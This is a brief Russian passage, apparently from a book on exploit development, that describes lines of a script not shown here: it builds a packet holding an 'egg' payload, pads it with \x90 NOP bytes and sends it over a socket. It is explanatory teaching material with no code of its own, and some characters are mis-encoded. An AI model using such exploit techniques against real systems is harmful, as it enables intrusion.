Âстроках 41–43 создается содержащий «яйцо» пакет, который посылается целевой системе. В строке 28 указано, каким символом нужно заполнить незанятые «яйцом» байты пакета. В данном случае это символ с 16-ричным кодом \x90.

Âстроке 45 пакет выводится в сокет, а в строке 47 вызывается функция main, которая и запускает сценарий.

Примечание

Подробнее о системных вызовах, которые упомянуты в этих двух сценариях, см. главу 8 «Написание переносимого сетевого кода» и главу 9 «Методы создания shell кода».